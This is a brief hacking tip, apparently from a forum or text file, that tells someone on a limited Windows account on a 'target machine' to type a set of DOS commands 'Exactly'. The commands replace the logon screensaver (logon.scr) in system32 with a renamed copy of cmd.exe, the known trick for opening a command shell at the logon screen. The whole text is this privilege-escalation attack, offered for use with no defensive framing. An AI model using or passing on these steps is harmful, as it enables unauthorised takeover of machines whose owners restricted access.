If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose Command Expalnation
cd\ * drops to root
cd\windows\system32 * directs to the system32 dir
mkdir temphack * creates the folder temphack
copy logon.scr temphack\logon.scr * backsup logon.scr
copy cmd.exe temphack\cmd.exe * backsup cmd.exe
del logon.scr * deletes original logon.scr
rename cmd.exe logon.scr * renames cmd.exe to logon.scr
exit * quits dos

